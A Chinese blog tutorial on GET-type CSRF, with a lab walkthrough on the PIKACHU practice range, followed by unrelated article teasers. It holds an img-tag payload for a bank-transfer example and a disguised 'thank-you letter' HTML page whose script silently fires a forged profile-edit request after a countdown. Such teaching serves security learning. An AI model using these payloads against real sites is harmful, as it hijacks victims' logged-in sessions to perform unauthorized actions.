CSRF | GET 型 CSRF 漏洞攻击

关注这个漏洞的其他相关笔记:CSRF 漏洞 - 学习手册-CSDN博客

0x01:GET 型 CSRF 漏洞攻击 —— 理论篇

GET 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP GET 请求,利用用户的登录状态,在用户不知情的情况下,诱使浏览器向受信任的网站发送请求,从而执行非用户意图的操作。

常见的攻击方式: 攻击者通过在站点中嵌入恶意链接到图片、链接或者隐藏的 iframe 中,诱使用户点击或者在不知情的情况下触发请求,从而发起攻击。例如,攻击者可以创建一个隐藏的 iframe,其中包含对银行网站的转账请求,当用户访问包含该 iframe 的页面时,浏览器会携带用户的会话 Cookie 自动发起转账请求,而用户可能对此还一无所知。

其攻击流程如下图所示:

比如,某家银行的转账接口请求包如下(假设该家银行存在 CSRF 漏洞):

 http://bank.example.com?act=transfer&money=$money$&to=$email$
 ​
 act=transfer  -- 执行转账操作
 money=$money$ -- 转账的金额
 to=$email$    -- 转账的对象

那么攻击者通过在网页中嵌入下面的代码,并诱导用户访问,当用户访问嵌入了恶意代码的站点时,用户浏览器就自动会向 bank.example.com 站点的转账接口发起请求,导致攻击发生:

 <img src="http://bank.example.com?act=transfer&money=100&to=hacker@test.com">

当然,前提是,用户登录了那家银行,而且登录凭证(Cookie or Session)还未失效。

0x02:GET 型 CSRF 漏洞攻击 —— 实战篇

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(Apache2.4.39 + PHP 5.6.9nts)

  • 实验环境:PIKACHU 靶场 - CSRF(get) => 参考:PIKACHU —— 靶场笔记合集

本次的实验环境,我们采用现成的 PIKACHU 靶场,PIKACHU 靶场的安装方法参考上面提供的链接,这里就不多说了,下面直接进入演示流程。

0x0201:GET 型 CSRF 攻击

在浏览器的导航栏中输入下面的网址,访问实验环境:

 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_login.php

随机挑选一个账号进行登录,这里笔者选择的是,allen:123456

点击 ”修改个人信息“ 按钮,并打开浏览器的 ”开发者工具“ 进行抓包:

然后随便修改点信息,比如我把手机号修改成,123456,并点击 submit 进行提交,注意抓包:

可以看到,我们是通过 GET 方式向站点后端接口传递参数来修改我们的个人信息。如果这个接口没有做任何的安全防御措施,那我们完全可以通过直接访问这个 GET 请求的链接,来达到,向后端提交个人信息修改的这么一个操作。

上面的那条 GET 请求拿下来是这样的:

 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=nba 76&email=allen@pikachu.com&submit=submit

我们手动把 add 参数变一下,比如改成 “翻斗花园翻斗大街 1408 号”:

 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=翻斗花园翻斗大街 1408 号&email=allen@pikachu.com&submit=submit

然后直接通过浏览器访问上面的链接,可以发现,当前登录的用户(allen)的个人信息发生了改变:

此时已经可以判定,该站点修改个人信息的接口存在 CSRF 漏洞,攻击者可以很轻松的伪造符合接口要求的请求,只要网站的受信用户点击带有 CSRF 攻击的链接,即可被修改个人信息。(真的需要用户自己傻乎乎的去点吗?)

接下来,我们模拟攻击者,创造一个可以自动触发攻击代码的页面,将下面的 HTML 代码直接复制进一个 HTML 文件中,然后双击打开这个 HTML 文件即可:

 
<!-- File Name:cssrf_get.html -->
 <!DOCTYPE html>
 <html lang="zh-CN">
 ​
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>感谢信</title>
     <style>
         body {
             font-family: 'Times New Roman', serif;
             background-color: #f4f4f4;
             display: flex;
             justify-content: center;
             align-items: center;
             height: 100vh;
             margin: 0;
         }
 ​
         .declaration {
             background-color: #fff;
             padding: 20px;
             border: 1px solid #ddd;
             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
             max-width: 600px;
             margin: auto;
         }
 ​
         h1 {
             text-align: center;
             color: #333;
         }
 ​
         p {
             text-align: justify;
             line-height: 1.6;
             color: #666;
         }
 ​
         .modal {
             position: fixed;
             top: 20px;
             right: 20px;
             background-color: #fff;
             padding: 20px;
             border: 1px solid #ddd;
             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
             display: flex;
             flex-direction: column;
             align-items: center;
             justify-content: center;
             gap: 10px;
         }
 ​
         .modal h2 {
             margin: 0;
             color: #333;
         }
 ​
         .modal p {
             margin: 0;
             color: #666;
         }
 ​
         .modal button {
             padding: 10px 20px;
             cursor: pointer;
             background-color: #4CAF50;
             color: white;
             border: none;
             border-radius: 5px;
         }
 ​
         .hidden {
             display: none;
         }
     </style>
 </head>
 ​
 <body>
     <div class="declaration">
         <h1>感谢信</h1>
         <p>致亲爱的读者们:</p>
         <p>首先,我想对每一位关注我的 CSDN 网安区博客的朋友们表示衷心的感谢。你们的支持和鼓励是我不断前进的动力。</p>
         <p>自从我开始在 CSDN 上分享网络安全相关的知识和见解以来,我收到了许多宝贵的反馈和建议。这些交流不仅丰富了我的知识,也帮助我成长为一个更好的内容创作者。</p>
         <p>我承诺将继续努力,为大家带来更多高质量的内容。同时,我也期待与大家有更多的互动和交流,共同探讨网络安全领域的最新动态和技术。</p>
         <p>再次感谢大家的关注和支持,让我们一起在网络安全的道路上不断前行。</p>
         <div class="signature">
             <p>—— 您忠实的博主</p>
             <p>[Blue17]</p>
             <p>[2024/09/22]</p>
         </div>
         <a id="csrf_payload"
             href="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=nba%2076%3Cbr%3E%3Cp%3E%E2%9D%A4Blue17%20Is%20A%20Good%20CSDN%20Creator%E2%9D%A4%3Cp%3E&email=allen%40pikachu.com&submit=submit"></a> 
     </div>
     <div id="modal" class="modal hidden">
         <h2>惊喜倒计时</h2>
         <p id="countdown">20</p>
         <button id="closeModal">关闭</button>
     </div>
     <script>
         var modal = document.getElementById('modal');
         var countdownElement = document.getElementById('countdown');
         var closeModalButton = document.getElementById('closeModal');
         var link = document.getElementById('csrf_payload');
 ​
         // 显示模态框
         modal.classList.remove('hidden');
 ​
         // 倒计时
         var countdown = 20;
         var intervalId = setInterval(function() {
             countdownElement.textContent = countdown;
             countdown--;
             if (countdown <= 0) {
                 clearInterval(intervalId);
                 // 模拟点击
                 link.click();
                 // 关闭模态框
                 modal.classList.add('hidden');
             }
         }, 1000);
 ​
         // 关闭模态框
         closeModalButton.addEventListener('click', function() {
             clearInterval(intervalId);
             modal.classList.add('hidden');
         });
     </script>
 </body>
 ​
 </html>

这个是笔者给诸位写的一份感谢信,怕诸位太过于感动,特地给你们写了一个阅读倒计时,当倒计时结束时,JavaScript 会模拟用户的点击事件,触发我藏在页面中的小彩蛋(CSRF 攻击指令),修改用户的个人信息,添加上我个人专属 Logo:

这个实验就是告诉诸位,你不点,有的是代码帮你点!至此,GET 型 CSRF 攻击演示完毕。

0x0202:GET 型 CSRF 代码分析

下面是触发 GET 型 CSRF 漏洞的关键代码:

 // csrf_get_edit.php
 $html1='';
 if(isset($_GET['submit'])){
     if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null){
         $getdata=escape($link, $_GET);
         $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
         $result=execute($link, $query);
         if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
             header("location:csrf_get.php");
         }else {
             $html1.='修改失败,请重试';
 ​
         }
     }
 }

上面的代码,简单来说,就是通过 $_GET 来获取前端用户传递过来的请求信息,并根据这些信息更新数据库中的内容。CSRF 漏洞发生的位置就是获取前端用户传递请求信息的部分。

因为接口传参太有规律了,太好猜了,Hacker 能一下子就找到这个接口参数的规律,从而发起攻击。有没有觉得一阵后怕,回想一下自己写的那些业务接口,谁会没事找两个随机参数进行传递?

所以,安全,和便捷,永远是两个对立面,我们能做的,也就是尽量找到最优解。

0x03:参考文献

  • Cookie 的 SameSite 属性 - 阮一峰的网络日志

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/887982.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

PCIe配置篇(1)——如何进行配置操作(一)

一、功能的唯一标识——BDF 首先我们简单回顾一下总线&#xff08;Bus&#xff09;、设备&#xff08;Device&#xff09;、功能&#xff08;Function&#xff09;这几个概念&#xff1a; 功能&#xff08;function&#xff09;&#xff1a;是PCI设备中独立的功能单元&#xff…

【GitHub】上传文件到GitHub

参考视频&#xff1a;手把手教你在github上传文件_哔哩哔哩_bilibili 1.找到文件夹右键&#xff0c;选择open git bash here 2.完成指令 git initgit add *git commit -m "first commit"3.打开该文件夹&#xff0c;打开隐藏文件.git/config 编辑输入邮箱和GitHub用…

OpenJudge | 置换选择排序

总时间限制: 1000ms 内存限制: 65536kB 描述 给定初始整数顺串&#xff0c;以及大小固定并且初始元素已知的二叉最小堆&#xff08;为完全二叉树或类似完全二叉树&#xff0c;且父元素键值总小于等于任何一个子结点的键值&#xff09;&#xff0c;要求利用堆实现置换选择排序&a…

【C++】--类和对象(2)

&#x1f44c;个人主页: 起名字真南 &#x1f446;个人专栏:【数据结构初阶】 【C语言】 【C】 目录 1 类的默认成员函数2 构造函数3 析构函数4 拷贝构造5 赋值运算符重载5.1 运算符重载5.2 赋值运算符的重载 1 类的默认成员函数 默认成员函数就是用户没有显示实现&#xff0c;…

【Kubernetes】常见面试题汇总(五十三)

目录 118. pod 状态为 ErrlmagePull &#xff1f; 119.探测存活 pod 状态为 CrashLoopBackOff &#xff1f; 特别说明&#xff1a; 题目 1-68 属于【Kubernetes】的常规概念题&#xff0c;即 “ 汇总&#xff08;一&#xff09;~&#xff08;二十二&#xff09;” 。…

Bloom Filter 布隆过滤器

目录 简介 Bloom Filter的基本原理 实现 使用 HashFunc越多&#xff0c;性能越好吗&#xff1f; 如何尽量避免误判&#xff1f; 应用 布隆过滤器优点 简介 Bloom Filter是一种空间效率极高的概率数据结构&#xff0c;它用于测试一个元素是否属于集合。Bloom Filter的优…

【NoSQL】portswigger NoSQL注入 labs 全解

目录 NoSQL NoSQL 数据库模型 NoSQL 注入的类型 NoSQL 语法注入 检测 MongoDB 中的语法注入 lab1:检测 NoSQL 注入 NoSQL 运算符注入 提交查询运算符 检测 MongoDB 中的运算符注入 lab2:利用 NoSQL 运算符注入绕过身份验证 利用语法注入来提取数据 MongoDB 中的数据…

【rust/egui/android】在android中使用egui库

文章目录 说在前面AndroidStudio安装编译安装运行问题 说在前面 操作系统&#xff1a;windows11java版本&#xff1a;23android sdk版本&#xff1a;35android ndk版本&#xff1a;22rust版本&#xff1a; AndroidStudio安装 安装AndroidStudio是为了安装sdk、ndk&#xff0c;…

大数据实时数仓Hologres(三):存储格式介绍

文章目录 存储格式介绍 一、格式 二、使用建议 三、技术原理 1、列存 2、行存 3、行列共存 四、使用示例 存储格式介绍 一、格式 在Hologres中支持行存、列存和行列共存三种存储格式,不同的存储格式适用于不同的场景。在建表时通过设置orientation属性指定表的存储…

【重学 MySQL】五十三、MySQL数据类型概述和字符集设置

【重学 MySQL】五十三、MySQL数据类型概述和字符集设置 MySQL数据类型概述MySQL字符集设置注意事项 MySQL数据类型概述 MySQL是一个流行的关系型数据库管理系统&#xff0c;它支持多种数据类型&#xff0c;以满足不同数据处理和存储的需求。理解并正确使用这些数据类型对于提高…

Linux性能调优技巧

目录 前言1. CPU性能优化1.1 调整CPU调度策略1.2 合理分配多核处理 2. 内存性能优化2.1 调整内存分配策略2.2 缓存和分页优化 3. 磁盘I/O性能优化3.1 使用合适的I/O调度器3.2 磁盘分区和文件系统优化 4. 网络性能优化4.1 优化网络参数4.2 调整网络拥塞控制算法 5. 系统监控与优…

【机器学习】网络安全——异常检测与入侵防御系统

我的主页&#xff1a;2的n次方_ 随着全球互联网和数字基础设施的不断扩展&#xff0c;网络攻击的数量和复杂性都在显著增加。从传统的病毒和蠕虫攻击到现代复杂的高级持续性威胁&#xff08;APT&#xff09;&#xff0c;网络攻击呈现出更加智能化和隐蔽化的趋势。面对这样的…

Kotlin 处理字符串和正则表达式(二十一)

导读大纲 1.1 处理字符串和正则表达式1.1.1 分割字符串1.1.2 正则表达式和三引号字符串1.1.3 多行三引号字符串IntelliJ IDEA 和 Android Studio 中三重引号字符串内部的语法高亮显示 1.1 处理字符串和正则表达式 Kotlin 字符串与 Java 字符串完全相同 可以将 Kotlin 代码中创建…

Python_文件处理

一个完整的程序一般都包括数据的存储和读取&#xff1b;我们在前面写的程序数据都没有进行实际的存储&#xff0c;因此python解释器执行完数据就消失了。实际开发中&#xff0c;我们经常需要从外部存储介质&#xff08;硬盘、光盘、U盘等&#xff09;读取数据&#xff0c;或者将…

查缺补漏----IP通信过程

1.DHCP协议 H3刚接入网络时&#xff0c;只知道自己的MAC地址&#xff0c;所以需要通过DHCP协议请求自己的IP地址。 通过DHCP协议&#xff0c;得到IP地址、子网掩码、网关与DNS服务器IP地址。 DHCP协议是应用层协议(传输层为UDP)&#xff0c;请求报文是广播&#xff08;H3不知…

‌在Python中,print(f‘‘)是什么?

‌在Python中&#xff0c;print(f’)表示使用f-string对字符串进行格式化输出。‌ f-string是Python 3.6及以上版本引入的一种新的字符串格式化机制&#xff0c;它允许在字符串中直接嵌入表达式&#xff0c;这些表达式在运行时会被其值所替换。使用f-string可以更方便地将变量的…

国庆节快乐前端(HTML+CSS+JavaScript+BootStrap.min.css)

一、效果展示 二、制作缘由 最近&#xff0c;到了国庆节&#xff0c;自己呆在学校当守校人&#xff0c;太无聊了&#xff0c;顺便做一个小demo帮祖国目前庆生&#xff01;&#xff01;&#xff01; 三、项目目录结构 四、准备工作 (1)新建好对应的文件目录 为了方便&#xff…

PHP泛目录生成源码,可生成长尾关键词页面,带使用方法视频教程

介绍&#xff1a; 真正的好东西&#xff0c;搞网站优化seo从业必备。可以快速提升网站权重&#xff0c;带来的流量哗哗的 PHP泛目录生成源码 可生成新闻页面和关键词页面 带使用方法视频教程 泛目录可以用来提升网站收录和排名 合理运用目录可以达到快速出词和出权重的效果…

【Bug】解决 Ubuntu 中 “error: Unable to Find Python3 Executable” 错误

解决 Ubuntu 中 “Unable to Find Python3 Executable” 错误 在 Ubuntu 系统上使用 Python 进行开发时&#xff0c;遇到找不到 python3 可执行文件的错误。 主要问题是无法正常打开终端&#xff08;原生与terminator&#xff09;&#xff0c;找不到python3&#xff0c;且无法…

教育技术革新:SpringBoot在线教育系统开发指南

6系统测试 6.1概念和意义 测试的定义&#xff1a;程序测试是为了发现错误而执行程序的过程。测试(Testing)的任务与目的可以描述为&#xff1a; 目的&#xff1a;发现程序的错误&#xff1b; 任务&#xff1a;通过在计算机上执行程序&#xff0c;暴露程序中潜在的错误。 另一个…